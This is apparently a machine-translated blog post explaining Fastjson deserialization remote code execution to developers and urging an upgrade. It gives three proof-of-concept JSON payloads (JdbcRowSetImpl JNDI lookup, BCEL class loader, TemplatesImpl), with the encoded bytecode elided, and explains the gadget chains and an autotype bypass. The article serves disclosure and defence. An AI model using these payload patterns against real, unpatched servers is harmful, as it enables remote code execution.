Fastjson deserialization vulnerability Overview

Fastjson deserialization vulnerability Overview

background

Encountered in the process of promoting Fastjson component upgrade in some problems for the students to help business understand the hazards vulnerability, the whole principle of its vulnerability and exploit ways of doing summarized from below, primarily on an overview of some things and principles.

Vulnerabilities principle

A plurality of versions of assembly Fastjson deserialization of data can cause untrusted code execution. The reason is, first of all, Fastjson provides autotype feature that allows the user to specify the type of deserialized by "@type" in deserializing data, secondly, Fastjson self-defined anti-serialization mechanism calls the designated class setter method and some getter methods, then when opening the assembly and deserialize function autotype untrustworthy data, an attacker can construct data, so that the target application code is executed flow proceeds to a particular class or a particular setter getter methods, if the specified class there can specify the method malicious use of logic (which is commonly referred to as "Gadget"), it will cause some serious security issues.

So do not turn autotype feature is safe?

No, in Fastjson 1.2.47 and below, the use of its caching mechanism can be bypassed to achieve autotype feature is not turned on, bypassing the details can be referred (https://www.anquanke.com/post/id/181874) , code authentication logic problems, is omitted.

Use

So how Fastjson deserialized when untrusted data is leading to code execution it? This is a loophole in principle can be said of malicious use of logic, currently open, the attacker uses a wide range of Gadget is nothing less than the specified getter or setter methods may be under several malicious use, will be explained in detail below so the code logic:

JNDI-based injection

JNDI namely Java Naming and Directory Interface, Java Naming and Directory Interface, JNDI provides a number of implementations, there RMI, LDAP, CORBA and so on. JNDI provides a uniform external interface to the underlying service implementation is diverse.

For example to RMI, RMI Registry Name to have the object mapping between the application issued by the Registry java.rmi.naming # lookup method to query request to obtain mapping relationship, then connect the RMI Server for remote method invocation.

If the argument that the lookup method is that we can control which parameters can be directed Registry of our control, we can remotely Reference object class of binding a point in Registry (Reference when object type, the application will load the Remote and instantiate the class), and the static block of code class constructor can remote control, so that execution of arbitrary code.

Case of com.sun.rowset.JdbcRowSetImpl below to explain the specific,

Class-based com.sun.rowset.JdbcRowSetImpl the POC as follows:

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

Fastjson deserialization time, will be used to construct asm object, and then call the setter method of the object. In the above json when parsing strings, first construct JdbcRowSetImpl object and then call setDataSourceName setAutoCommit methods and methods for the object assignment, when calling setAutoCommit method calls the lookup method connect methods send a query to the Registry, and the Registry of the address is the dataSourceName value, which led to the lookup method parameters controlled, and then we can customize the Registry achieved through further exploits.

connect method code:

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

Similarly, in addition to com.sun.rowset.JdbcRowSetImpl, there org.springframework.jndi.support.SimpleJndiBeanFactory, com.mchange.v2.c3p0.JndiRefForwardingDataSource, org.apache.ibatis.datasource.jndi.JndiDataSourceFactory, org.hibernate .jmx.StatisticsService etc. can become part of the "Gadget" is based on the injection JNDI implementation code execution. Java class libraries so great, JDK in, third parties, the future will be more malicious use of libraries appears.

It is worth mentioning that, did JNDI protection against injection attacks in high-class version of the JDK, primarily by limiting the load remote classes, the details can refer to my article https://www.cnblogs.com /Welk1n/p/11066397.html, wherein a more detailed protection principle and bypass protection under certain conditions described.

Based ClassLoader

POC as follows:

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}

First look at the loading mechanism com.sun.org.apache.bcel.internal.util.ClassLoader this class loader, class under java, javax and sun three packages will be loaded by the system class loader, then when the event to name some special class, class_name to BCEL $$ $$ beginning of class, calls createClass way to resolve class_name, after the character in createClass method will BCEL $$ $$ decoded into a byte array, and this BCEL class encoded loaded into the virtual machine. In other words, we can construct a special string className, by the class loader to achieve the custom class loading.

  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

Then, when Fastjson deserialized org.apache.tomcat.dbcp.dbcp.BasicDataSource target, set by the first setter methods and its driverClassLoader driverClassName properties, and then calls its getConnection method, and end up calling createConnectionFactory method by Class. The method of loading forName driverClassName with driverClassLoader, and whether the initialization parameter set to true. forName method actually end up calling Native type of method implemented in C for C source code shows that its underlying loading logic is still the loadClass method calls the class loader to load custom class, interested friends can go under their own analysis JVM level implementation, expansion is no longer here, you can understand.

driverClassLoader driverClassName are json and incoming, externally controllable, so if driverClassLoader set com.sun.org.apache.bcel.internal.util.ClassLoader, driverClassName set by the custom class BCEL encoded, is achieved custom object class loading during deserialization. Thus an attacker can write malicious code static code block, which was encoded BCEL achieve malicious code executed when the class initialization.

Based TemplatesImpl

POC as follows:

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
  '_name':'a.b',
  '_tfactory':{ },
  "_outputProperties":{ }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl This class has a special ability that can resolve an array of characters and then load the instantiation _bytecodes variable, the value _bytecodes is controllable, so the attack as long as the malicious character array configuration corresponding to a class, then the class is loaded and instantiated triggered by malicious getOutputProperties method, the same effect is achieved remote code execution.

Some specific details can refer to these two articles:

  1. http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
  2. https://paper.seebug.org/636/

However, this approach requires the use of set Feature.SupportNonPublicField json when parsing strings, and business students are often invoked when using the default parameters parseObject fastjson direct method, so slightly tasteless.

Suggest

We can see several Gadget can be used to attack the use of the above application Fastjson achieve code execution, relatively speaking, the first way lethal stronger. So please be sure to upgrade to the latest version of the component, to prevent attackers from this vulnerability to attack.

Guess you like

Origin www.cnblogs.com/Welk1n/p/11446519.html